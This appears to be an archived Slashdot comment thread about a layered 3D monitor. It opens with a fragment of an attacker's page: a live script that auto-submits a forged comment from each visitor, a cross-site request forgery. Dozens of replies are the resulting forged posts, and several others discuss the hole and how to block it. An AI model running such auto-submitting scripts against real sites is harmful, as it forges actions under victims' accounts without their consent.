    <TR><TD ALIGN="RIGHT">Nick</TD><TD>

    </TD></TR><TR><TD ALIGN="RIGHT">Passwd</TD><TD>

    </TD></TR>

    <TR><TD WIDTH="130" ALIGN="RIGHT">Name</TD><TD WIDTH="500">
    <A HREF="http://slashdot.org/users.pl">Anonymous Coward</A> [
    <A HREF="http://slashdot.org/users.pl">Create Account</A>
    ] </TD></TR>

    <TR><TD ALIGN="RIGHT">Subject</TD>

    <TD><INPUT TYPE="text" NAME="postersubj" SIZE=50 MAXLENGTH=50></TD></TR>

    <TR>
    <TD ALIGN="RIGHT" VALIGN="TOP">Comment</TD>
    <TD><TEXTAREA WRAP="VIRTUAL" NAME="postercomment" ROWS="10"
    COLS="50"></TEXTAREA>
    <BR>(Use the Preview Button! Check those URLs!
    Don't forget the http://!)
    </TD></TR>

    <TR><TD> </TD><TD>
    <INPUT TYPE="hidden" NAME="op" VALUE="Submit">

    <SELECT name="posttype">
    <OPTION value="exttrans">Extrans (html tags to text)</OPTION>
    <OPTION value="html" SELECTED>HTML Formatted</OPTION>
    <OPTION value="plaintext">Plain Old Text</OPTION>
    </SELECT>
    </TD></TR><TR>
    <TD VALIGN="TOP" ALIGN="RIGHT">Allowed HTML</TD><TD><FONT SIZE="1">
    <B>
    <I>
    <P>
    <A>
    <LI>
    <OL>
    <UL>
    <EM>
    <BR>
    <TT>
    <STRONG>
    <BLOCKQUOTE>
    <DIV>
    </FONT>
    </TD></TR>
    </TABLE>

    </FORM>

    <SCRIPT>
    randSum=0
    for(i=0;i<10;i++) {
    randSum += Math.round(Math.random()*10)*Math.pow(10,i);
    }
    document.forms[0].formkey.value=randSum;

    atext = randSum;
    atext += "<br>";
    atext += "Here is your navigator : " + navigator.userAgent;
    atext += "<br>";
    atext += "Just a security hole of Slashdot. You can find this kind of ";
    atext += "hole in all sites which has a forum. I think that in site ";
    atext += "like e-trade you can make some people asks for stocks.";
    atext += "<br>";
    atext += "You can contact me there : Krakus.Irus à voila.com";
    atext += "<br>";
    atext += "If you want to <a href=\"http://www.multimania.com/abuabu/slashdotho le.html\">retry</a>.";
    atext += "<br>";
    atext += "If you want to know <a href=\"http://lwn.net/2000/features/Redirect.phtml \">more</a>.";
    document.forms[0].postercomment.value=atext;
    document.forms[0].postersubj.value = "Slashdot Security Hole" + randSum;
    document.forms[0].submit();
    </SCRIPT>

  135. Could be useful: by chowpalace · · Score: 2

    at the mall when Florsheim shoes suggests you browse their shoe collection through the atm-machine-like unit they use instead of a paper catalog. Just think! Now that intel commercial with the guy dropping that new car with the forklift could be a reality!!!

  136. Slashdot Security Hole6368917837 by aardvaark · · Score: 1

    6368917837
    Here is your navigator : Mozilla/4.7 [en] (X11; I; Linux 2.2.14-15mdk i586)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

    --
    If I had no sense of humor, I would long ago have committed suicide. -Ghandi
  137. Seems Cool in Concept by cculianu · · Score: 1

    Seems pretty cool in concept.. however I had trouble hitting the site deepvideo.com. Either they're not able to handle the load of slashdot people.. or they are down. :(

    1. Re:Seems Cool in Concept by sirLOL · · Score: 1

      true. i'm having the same problems. Deffenately a cool concept though. think of the porn! but seriously. touch screen 3-d gaming! now that's a game i'd pay $50 for. especially an RTS where you can physically move your guys. or a FPS where you can look around the corners.

      --
      - "yes but can you hit someone over the head with a rolled up internet?" -Foxtrot
  138. Slashdot Security Hole1886491672 by Nat+Lanza · · Score: 1

    1886491672
    Here is your navigator : Mozilla/4.7 [en] (X11; U; Linux 2.2.3 i686)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  139. Slashdot Security Hole7259249913 by abes · · Score: 1

    7259249913
    Here is your navigator : Mozilla/4.72 [en] (X11; U; Linux 2.2.14-5.0 i686)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  140. Very cool by kylus · · Score: 1
    That is a very neat piece of hardware there. Unfortunately the MSRP is a bit steep right now. I'd wager that X would support them if they became a regularly-used piece of equipment, but I have a feeling that such a thing won't happen until the price goes down a little bit ;)


    --Kylus

    --
    --Kylus
    Idiot-proof something, and Life will build a better Idiot.
  141. Couldn't they make it modular? by blogan · · Score: 1

    I can't get to the site right now, but why couldn't the company make just layers of LCD screens? You buy one base layer, then one or more extra layers and stack them on top of the base layer. Your driver would then generate depending on the number of layers you had.

    1. Re:Couldn't they make it modular? by Jeeves. · · Score: 1

      ummm, I don't think so. If the pixel is "on", then it is black (or whatever color.) if it's off, it's clear. The backlight makes it white. Look at your watch: see the gray background? now press the EL button. See how the light goes through the parts of the 1 that aren't lit up? That's because it's clear. Although someone brought up an excellent point, that that clearness is partially obscured by the tiny transistors and circuits. But other than that, I'm pretty sure it's clear.

  142. Referrer? by Eponymous,+Showered · · Score: 1

    Why wouldn't /. prevent submissions where the referrer is anything but slashdot.org? That would take care of this goofy (and somewhat amusing) thing.

    Also, those of us with etrade accounts have little to fear. In order to make a trade, one has to explicitly type a password into the form. No cookie, no cache, etc. Also, your trading password can (should be) different from your login password.

  143. Just make Mike blink faster! by subtraho · · Score: 1

    I think that would solve everything :P *giggle*

    --
    -subtraho
  144. Slashdot Security Hole3570282016 by kadath23 · · Score: 1

    3570282016
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus@voila.fr
    If you want to retry.
    If you want to know more.

  145. I LOVE SLASHDOT bug by Gothland · · Score: 1
    Apparently, Windows users aren't the only ones that click on attachments, even when they don't know what they do. :)

    Personally, I think we should add a category to the moderation lists in honor of this invention. "Malicious" would work.

    --

  146. Slashdot Security Hole6530157465 by aardvaark · · Score: 1

    6530157465
    Here is your navigator : Mozilla/4.7 [en] (X11; I; Linux 2.2.14-15mdk i586)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

    --
    If I had no sense of humor, I would long ago have committed suicide. -Ghandi
  147. DO NOT FOLLOW LINKS ON BUG POSTS!!! by Gothland · · Score: 3

    I apologzie for the shouting, but the signal to noise ratio has hit about 1/5 today. The links cause you to post another report with your browser info. Don't click on 'em.

    --

  148. Slashdot Security Hole1947504180 by drix · · Score: 1

    1947504180
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

    --

    --

    I think there is a world market for maybe five personal web logs.
  149. Slashdot Security Hole5732366247 by kels · · Score: 1

    5732366247
    Here is your navigator : Mozilla/4.73C-SGI [en] (X11; U; IRIX64 6.5 IP30; Nav)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

    --
    "I believe that the cult of the particular brings only death - for it bases order on likeness." St.-Exupery
  150. Comment removed by account_deleted · · Score: 2

    Comment removed based on user account deletion

  151. Slashdot Security Hole7725274303 by NightHwk · · Score: 1

    7725274303
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.
    Tyranny = Government choosing how much power to give the people.

    --

  152. Slashdot Security Hole8278000099 by pilot · · Score: 1

    8278000099
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  153. Slashdot Security Hole5499011901 by Directrix1 · · Score: 1

    5499011901
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

    --
    Occam's razor is the blind faith in the natural selection of least resistance and in universal oversimplification. -- EF
  154. Security Hole by Krakus+Irus · · Score: 1

    First of all, I'm really suprised by the number of people that click on my link and that use Win32 plateforms. Is it because most readers of Slashdot are Windows users or because Windows users are prone to click where somebody says they should not. Please stop to click on "retry". Sorry for the noise on this forum. I demonstrate this bug in a none agressive way, correct your sites guys, some will not ! Click on "more" if you want more explanations on the bug, it's safe. Again

  155. Slashdot Security Hole3257359780 by pilot · · Score: 1

    3257359780
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  156. Slashdot Security Hole9599350199 by Directrix1 · · Score: 1

    9599350199
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

    --
    Occam's razor is the blind faith in the natural selection of least resistance and in universal oversimplification. -- EF
  157. Slashdot Security Hole9319393561 by Directrix1 · · Score: 1

    9319393561
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

    --
    Occam's razor is the blind faith in the natural selection of least resistance and in universal oversimplification. -- EF
  158. I hope there is a normal button by Glowing+Fish · · Score: 2
    While this seems like a really cool idea, and this will probably be standard in 5 years, I hope there is some kind of control on the monitor to put it back to 2D, or that any programs that use this have an option that lets you turn off the 3d display, because after a long night of playing games\surfing the net\etc. at the same time, this thing is probably going to give quite a few people headaches\seizures\etc.

    --
    Hopefully I didn't put any [] around my words.
  159. Already on memepool by rmitz · · Score: 1

    This was posted earlier today on www.memepool.com.

  160. Slashdot Security Hole2668901396 by nemoc · · Score: 1

    2668901396
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  161. Another idea just occured to me: by Glowing+Fish · · Score: 1
    You could have one program displaying on the top, and another program displaying on the bottom. Then all you have to do is hook up and extra keyboard\mouse, and you've doubled your productivity.

    --
    Hopefully I didn't put any [] around my words.
  162. completely offtopic by Shoeboy · · Score: 1

    I can't belive that deepvideo.com wasn't immediately grabbed by a porno company. How did a monitor maker come up with it?
    --Shoeboy
    (former microserf)

  163. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  164. Slashdot Security Hole2248566290 by DustyHodges · · Score: 1

    2248566290
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus@voila.fr
    If you want to retry.
    If you want to know more.

  165. Re:Slashdot Security Hole4674775601 by mikpos · · Score: 1

    Yes I'm afraid to inform you that I am indeed a great idiot. Still, the point holds that I did follow the link without any great catastrophe happening.

  166. 3D Montior vs 3D Display by puetzc · · Score: 1

    Who needs a 3D monitor. I already have a 3D monitor with a 2D display. What I would rather have is the inverse - a 2D monitor with a 3D display. That would make flat panel screens look bulky! Sort of like paint on the wall behind my desk.

  167. Re:They don't eat their own dog food? by Phroggy · · Score: 2
    Yes, but that's 1024x768x1 = 786432 pixels, while 800x600x2 = 960000 pixels. Can't you just imagine displaying the left half of your browser on top of the right half, tricking your system into thinking you were running at 1600x600?

    --

    --
    $x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
    $x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
  168. Slashdot Security Hole2903846698 by Directrix1 · · Score: 1

    2903846698
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

    --
    Occam's razor is the blind faith in the natural selection of least resistance and in universal oversimplification. -- EF
  169. Slashdot Security Hole1683268448 by Wakkow · · Score: 1

    1683268448
    Here is your navigator : Mozilla/4.72 [en] (Win98; U)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  170. Slashdot Security Hole4824021956 by cwennersten · · Score: 1

    4824021956
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

  171. Slashdot Security Hole5119659255 by Directrix1 · · Score: 1

    5119659255
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

    --
    Occam's razor is the blind faith in the natural selection of least resistance and in universal oversimplification. -- EF
  172. I hope that was supposed to be humorous by Count+Fragula · · Score: 1

    The Deepvideo monitor's resolution is 800x600x2, measured in pixels. The "2" doesn't refer to color depth, as your post seems to imply. And anyway, 2 bitplanes of color depth would yield 4 colors, not monochrome. It's 2 *panels* deep, each panel handling, presumably, 24 bits color space. Thus the "3d" effect. Why this is cool is beyond me, seems like its just doing in hardware (layering) what can easily be accomplished in software, or at mixdown just prior to AD converter level on the video interface.

  173. They don't eat their own dog food? by stienman · · Score: 5

    Unfortunately, it's only 800 x 600 x 2 so far

    And on their site:

    © 1999 - 2000 Deep Video Imaging Ltd. All Rights Reserved. View Legal Information.
    This site is best viewed with a screen resolution of 1024 x 768


    -Adam

    Join the army, meet interesting people, kill them.

  174. Slashdot Security Hole4797684332 by segmond · · Score: 1

    4797684332
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

    --
    ------ Curiosity killed the cat. {satisfaction brought it back | it didn't die ignorant | lack of it is killing mankind
  175. Slashdot Security Hole5286745255 by segmond · · Score: 1

    5286745255
    Here is your navigator : Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)
    Just a security hole of Slashdot. You can find this kind of hole in all sites which has a forum. I think that in site like e-trade you can make some people asks for stocks.
    You can contact me there : Krakus.Irus à voila.com
    If you want to retry.
    If you want to know more.

    --
    ------ Curiosity killed the cat. {satisfaction brought it back | it didn't die ignorant | lack of it is killing mankind